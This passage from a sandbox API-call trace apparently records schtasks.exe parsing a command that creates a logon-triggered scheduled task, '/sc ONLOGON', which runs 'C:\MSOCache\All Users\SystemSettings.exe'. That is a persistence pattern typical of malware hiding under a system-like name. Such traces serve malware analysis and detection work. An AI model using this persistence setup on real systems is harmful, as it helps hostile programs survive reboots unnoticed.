_Buffer="|tn|") returned 4 [0134.195] lstrlenW (lpString="|d|") returned 3 [0134.196] lstrlenW (lpString="|tn|") returned 4 [0134.196] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.196] lstrlenW (lpString="m") returned 1 [0134.196] lstrlenW (lpString="m") returned 1 [0134.196] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.196] lstrlenW (lpString="tn") returned 2 [0134.196] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.196] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|m|") returned 3 [0134.196] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.196] lstrlenW (lpString="|m|") returned 3 [0134.196] lstrlenW (lpString="|tn|") returned 4 [0134.196] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.196] lstrlenW (lpString="i") returned 1 [0134.196] lstrlenW (lpString="i") returned 1 [0134.196] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.196] lstrlenW (lpString="tn") returned 2 [0134.196] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.196] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|i|") returned 3 [0134.196] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.196] lstrlenW (lpString="|i|") returned 3 [0134.196] lstrlenW (lpString="|tn|") returned 4 [0134.196] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.196] lstrlenW (lpString="tn") returned 2 [0134.196] lstrlenW (lpString="tn") returned 2 [0134.196] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.196] lstrlenW (lpString="tn") returned 2 [0134.196] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.196] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.196] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.196] lstrlenW (lpString="|tn|") returned 4 [0134.197] lstrlenW (lpString="|tn|") returned 4 [0134.197] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0134.197] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.197] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.197] lstrlenW (lpString="SystemSettings") returned 14 [0134.197] lstrlenW (lpString="-/") returned 2 [0134.197] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0134.197] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.199] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.199] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.199] lstrlenW (lpString="SystemSettings") returned 14 [0134.199] StrChrIW (lpStart="SystemSettings", wMatch=0x3a) returned 0x0 [0134.199] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.199] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.199] lstrlenW (lpString="SystemSettings") returned 14 [0134.199] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.199] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.199] lstrlenW (lpString="/sc") returned 3 [0134.199] lstrlenW (lpString="-/") returned 2 [0134.199] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.199] lstrlenW (lpString="create") returned 6 [0134.199] lstrlenW (lpString="create") returned 6 [0134.199] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.199] lstrlenW (lpString="sc") returned 2 [0134.200] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.200] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|create|") returned 8 [0134.200] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.200] lstrlenW (lpString="|create|") returned 8 [0134.200] lstrlenW (lpString="|sc|") returned 4 [0134.200] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0134.200] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.200] lstrlenW (lpString="?") returned 1 [0134.200] lstrlenW (lpString="?") returned 1 [0134.200] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.200] lstrlenW (lpString="sc") returned 2 [0134.200] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.200] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|?|") returned 3 [0134.200] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.200] lstrlenW (lpString="|?|") returned 3 [0134.200] lstrlenW (lpString="|sc|") returned 4 [0134.200] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.200] lstrlenW (lpString="s") returned 1 [0134.200] lstrlenW (lpString="s") returned 1 [0134.200] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.200] lstrlenW (lpString="sc") returned 2 [0134.200] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.200] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|s|") returned 3 [0134.200] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.200] lstrlenW (lpString="|s|") returned 3 [0134.200] lstrlenW (lpString="|sc|") returned 4 [0134.200] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.200] lstrlenW (lpString="u") returned 1 [0134.200] lstrlenW (lpString="u") returned 1 [0134.200] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.200] lstrlenW (lpString="sc") returned 2 [0134.201] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.201] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|u|") returned 3 [0134.201] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.201] lstrlenW (lpString="|u|") returned 3 [0134.201] lstrlenW (lpString="|sc|") returned 4 [0134.201] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.201] lstrlenW (lpString="p") returned 1 [0134.201] lstrlenW (lpString="p") returned 1 [0134.201] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.201] lstrlenW (lpString="sc") returned 2 [0134.201] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.201] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|p|") returned 3 [0134.201] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.201] lstrlenW (lpString="|p|") returned 3 [0134.201] lstrlenW (lpString="|sc|") returned 4 [0134.201] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.201] lstrlenW (lpString="ru") returned 2 [0134.201] lstrlenW (lpString="ru") returned 2 [0134.201] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.201] lstrlenW (lpString="sc") returned 2 [0134.201] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.201] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ru|") returned 4 [0134.201] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.201] lstrlenW (lpString="|ru|") returned 4 [0134.201] lstrlenW (lpString="|sc|") returned 4 [0134.201] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0134.201] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.201] lstrlenW (lpString="rp") returned 2 [0134.201] lstrlenW (lpString="rp") returned 2 [0134.201] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.202] lstrlenW (lpString="sc") returned 2 [0134.202] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.202] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rp|") returned 4 [0134.202] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.202] lstrlenW (lpString="|rp|") returned 4 [0134.202] lstrlenW (lpString="|sc|") returned 4 [0134.202] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0134.202] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.202] lstrlenW (lpString="sc") returned 2 [0134.202] lstrlenW (lpString="sc") returned 2 [0134.202] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.202] lstrlenW (lpString="sc") returned 2 [0134.202] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.202] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.202] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.202] lstrlenW (lpString="|sc|") returned 4 [0134.202] lstrlenW (lpString="|sc|") returned 4 [0134.202] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0134.202] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.202] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.202] lstrlenW (lpString="ONLOGON") returned 7 [0134.202] lstrlenW (lpString="-/") returned 2 [0134.202] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0134.202] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.202] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.202] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.202] lstrlenW (lpString="ONLOGON") returned 7 [0134.202] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0134.202] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.202] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.202] GetProcessHeap () returned 0x2236c530000 [0134.202] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c53a910 [0134.202] _memicmp (_Buf1=0x2236c53a910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.203] lstrlenW (lpString="ONLOGON") returned 7 [0134.203] GetProcessHeap () returned 0x2236c530000 [0134.203] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x10) returned 0x2236c53aa70 [0134.203] lstrlenW (lpString="ONLOGON") returned 7 [0134.203] lstrlenW (lpString=" \x09") returned 2 [0134.203] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0134.203] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0134.203] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0134.203] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0134.203] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0134.203] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0134.203] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0134.203] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0134.203] GetLastError () returned 0x0 [0134.203] lstrlenW (lpString="ONLOGON") returned 7 [0134.203] lstrlenW (lpString="ONLOGON") returned 7 [0134.203] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.203] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.203] lstrlenW (lpString="/tr") returned 3 [0134.203] lstrlenW (lpString="-/") returned 2 [0134.203] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.203] lstrlenW (lpString="create") returned 6 [0134.203] lstrlenW (lpString="create") returned 6 [0134.203] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.203] lstrlenW (lpString="tr") returned 2 [0134.203] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.203] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|create|") returned 8 [0134.203] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.203] lstrlenW (lpString="|create|") returned 8 [0134.203] lstrlenW (lpString="|tr|") returned 4 [0134.203] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0134.203] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.203] lstrlenW (lpString="?") returned 1 [0134.204] lstrlenW (lpString="?") returned 1 [0134.204] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.204] lstrlenW (lpString="tr") returned 2 [0134.204] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.204] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|?|") returned 3 [0134.204] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.204] lstrlenW (lpString="|?|") returned 3 [0134.204] lstrlenW (lpString="|tr|") returned 4 [0134.204] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.204] lstrlenW (lpString="s") returned 1 [0134.204] lstrlenW (lpString="s") returned 1 [0134.204] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.204] lstrlenW (lpString="tr") returned 2 [0134.204] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.204] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|s|") returned 3 [0134.204] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.204] lstrlenW (lpString="|s|") returned 3 [0134.204] lstrlenW (lpString="|tr|") returned 4 [0134.204] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.204] lstrlenW (lpString="u") returned 1 [0134.204] lstrlenW (lpString="u") returned 1 [0134.204] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.204] lstrlenW (lpString="tr") returned 2 [0134.204] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.204] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|u|") returned 3 [0134.204] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.204] lstrlenW (lpString="|u|") returned 3 [0134.204] lstrlenW (lpString="|tr|") returned 4 [0134.204] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.204] lstrlenW (lpString="p") returned 1 [0134.204] lstrlenW (lpString="p") returned 1 [0134.205] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.205] lstrlenW (lpString="tr") returned 2 [0134.205] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.205] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|p|") returned 3 [0134.205] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.205] lstrlenW (lpString="|p|") returned 3 [0134.205] lstrlenW (lpString="|tr|") returned 4 [0134.205] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.205] lstrlenW (lpString="ru") returned 2 [0134.205] lstrlenW (lpString="ru") returned 2 [0134.205] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.205] lstrlenW (lpString="tr") returned 2 [0134.205] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.205] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ru|") returned 4 [0134.205] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.205] lstrlenW (lpString="|ru|") returned 4 [0134.205] lstrlenW (lpString="|tr|") returned 4 [0134.205] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0134.205] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.205] lstrlenW (lpString="rp") returned 2 [0134.205] lstrlenW (lpString="rp") returned 2 [0134.205] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.205] lstrlenW (lpString="tr") returned 2 [0134.205] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.205] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rp|") returned 4 [0134.205] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.205] lstrlenW (lpString="|rp|") returned 4 [0134.205] lstrlenW (lpString="|tr|") returned 4 [0134.205] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0134.205] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.205] lstrlenW (lpString="sc") returned 2 [0134.206] lstrlenW (lpString="sc") returned 2 [0134.206] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.206] lstrlenW (lpString="tr") returned 2 [0134.206] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.206] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.206] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.206] lstrlenW (lpString="|sc|") returned 4 [0134.206] lstrlenW (lpString="|tr|") returned 4 [0134.206] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0134.206] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.206] lstrlenW (lpString="mo") returned 2 [0134.206] lstrlenW (lpString="mo") returned 2 [0134.206] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.206] lstrlenW (lpString="tr") returned 2 [0134.206] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.206] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|mo|") returned 4 [0134.206] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.206] lstrlenW (lpString="|mo|") returned 4 [0134.206] lstrlenW (lpString="|tr|") returned 4 [0134.206] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0134.206] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.206] lstrlenW (lpString="d") returned 1 [0134.206] lstrlenW (lpString="d") returned 1 [0134.206] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.206] lstrlenW (lpString="tr") returned 2 [0134.206] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.206] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|d|") returned 3 [0134.206] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.206] lstrlenW (lpString="|d|") returned 3 [0134.206] lstrlenW (lpString="|tr|") returned 4 [0134.207] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.207] lstrlenW (lpString="m") returned 1 [0134.207] lstrlenW (lpString="m") returned 1 [0134.207] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.207] lstrlenW (lpString="tr") returned 2 [0134.207] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.207] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|m|") returned 3 [0134.207] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.207] lstrlenW (lpString="|m|") returned 3 [0134.207] lstrlenW (lpString="|tr|") returned 4 [0134.207] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.207] lstrlenW (lpString="i") returned 1 [0134.207] lstrlenW (lpString="i") returned 1 [0134.207] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.207] lstrlenW (lpString="tr") returned 2 [0134.207] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.207] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|i|") returned 3 [0134.207] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.207] lstrlenW (lpString="|i|") returned 3 [0134.207] lstrlenW (lpString="|tr|") returned 4 [0134.207] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.207] lstrlenW (lpString="tn") returned 2 [0134.207] lstrlenW (lpString="tn") returned 2 [0134.207] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.207] lstrlenW (lpString="tr") returned 2 [0134.207] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.207] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.207] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.207] lstrlenW (lpString="|tn|") returned 4 [0134.207] lstrlenW (lpString="|tr|") returned 4 [0134.207] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] lstrlenW (lpString="tr") returned 2 [0134.208] lstrlenW (lpString="tr") returned 2 [0134.208] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.208] lstrlenW (lpString="tr") returned 2 [0134.208] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.208] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.208] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.208] lstrlenW (lpString="|tr|") returned 4 [0134.208] lstrlenW (lpString="|tr|") returned 4 [0134.208] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.208] lstrlenW (lpString="-/") returned 2 [0134.208] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.208] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\SystemSettings.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\SystemSettings.exe'" [0134.208] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.208] _memicmp (_Buf1=0x2236c53a8d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.208] _memicmp (_Buf1=0x2236c53aa10, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] lstrlenW (lpString="'C") returned 2 [0134.208] lstrlenW (lpString="-/") returned 2 [0134.208] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.208] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.209] _memicmp (_Buf1=0x2236c53a910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.209] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.209] GetProcessHeap () returned 0x2236c530000 [0134.209] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53aa70) returned 1 [0134.209] GetProcessHeap () returned 0x2236c530000 [0134.209] RtlReAllocateHeap (Heap=0x2236c530000, Flags=0xc, Ptr=0x2236c53aa70, Size=0x56) returned 0x2236c533bf0 [0134.209] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.209] lstrlenW (lpString=" \x09") returned 2 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 